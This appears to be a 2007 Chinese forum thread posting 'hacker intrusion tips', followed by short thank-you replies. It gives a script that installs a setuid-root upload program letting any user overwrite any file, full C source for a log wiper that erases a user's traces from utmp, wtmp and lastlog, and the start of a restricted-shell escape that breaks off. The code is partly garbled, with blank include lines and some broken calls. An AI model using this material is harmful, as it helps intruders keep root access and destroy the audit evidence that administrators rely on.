匿名 2007-4-3 14:58
黑客入侵实用技巧七则
1 、UPLOAD
侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
root 状 态 下, 运 行 Install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "This program will upload up.txt ASCII file to specified file\n" );
printf( "XXX Copyright Reserved\n" );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}
2、破坏现场
进入系统后,出来以前怎么破坏现场?抹掉自己的脚印?
编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器
例子:
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)newll,sizeof( newll ));
write(f, (char *)newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
henqing2008 2007-4-3 14:59
3、突破SHELL
许多攻击系统的方法都需要攻击者首先有一个命令行式的Shell,如 /bin/csh 。但有些系统提供给用户的却是菜单式的定制Shell,如 pink 。所以如果你想攻击这个系统的话,首先必须要冲破这个定制shell。
我们可以利用 vi (UNIX中标准的编辑器) 的一些命令来达到这个目的。具体过程如下:
(1).在定制Shell中选择编辑文件,这时系统启动 vi。
(2).在 vi 中,输入以下命令序列:(注意:输入的命令包括最前面的
woaishenxin 2007-4-3 15:14
谢谢分享 学习中
171535838 2007-4-17 09:50
正在学习
谢谢分享
wangly399 2007-4-30 18:06
太难了,学习再学习
guoshangpeng 2007-5-6 15:47
谢谢分享 学习中
cxhero32989 2007-5-8 16:23
学习中
qq312155546 2008-7-1 17:45
汗~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!!!xunleiforumssweatleixun xunleiforumssweatleixun xunleiforumssweatleixun xunleiforumssweatleixun xunleiforumssweatleixun
yang2096018 2008-7-2 10:16
好好学习,能天天向上!